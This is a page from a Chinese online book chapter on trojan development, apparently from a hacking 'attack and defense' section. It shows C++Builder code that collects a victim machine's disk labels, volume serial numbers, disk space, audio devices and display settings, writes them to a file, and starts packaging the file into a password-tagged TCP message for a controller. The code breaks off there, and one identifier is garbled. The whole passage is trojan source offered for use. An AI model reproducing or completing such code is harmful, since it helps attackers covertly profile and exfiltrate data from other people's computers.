万卷书   首页 > 电脑书籍 > 黑客攻防战 >透视木马程序开发技术(下)
 
 if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))    {
         cs=String(name)+"盘卷标为:"+String(volname)+"\n";
         fwrite(cs.c_str(),cs.Length(),1,fp);
         cs=String(name)+"盘序号为:"+String(sno)+"\n";
         fwrite(cs.c_str(),cs.Length(),1,fp);
         GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数
         totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
         freespace=int(free)*byte*sector/1024/1024; //计算可用空间
         cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\n";
         fwrite(cs.c_str(),cs.Length(),1,fp);
         cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\n";
         fwrite(cs.c_str(),cs.Length(),1,fp);
         }
     }
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
     waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
     cs="当前波形设备:"+String(wavecap.szPname)+"\n";
     fwrite(cs.c_str(),cs.Length(),1,fp);
     }
if (mididevice!=0){
     midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
     cs="当前MIDI设备:"+String(midicap.szPname)+"\n";
     fwrite(cs.c_str(),cs.Length(),1,fp);
     }
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //计算色深
AnsiString sss;
sss=bpp;
cs="当前色深为:"+sss+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
上一页 下一页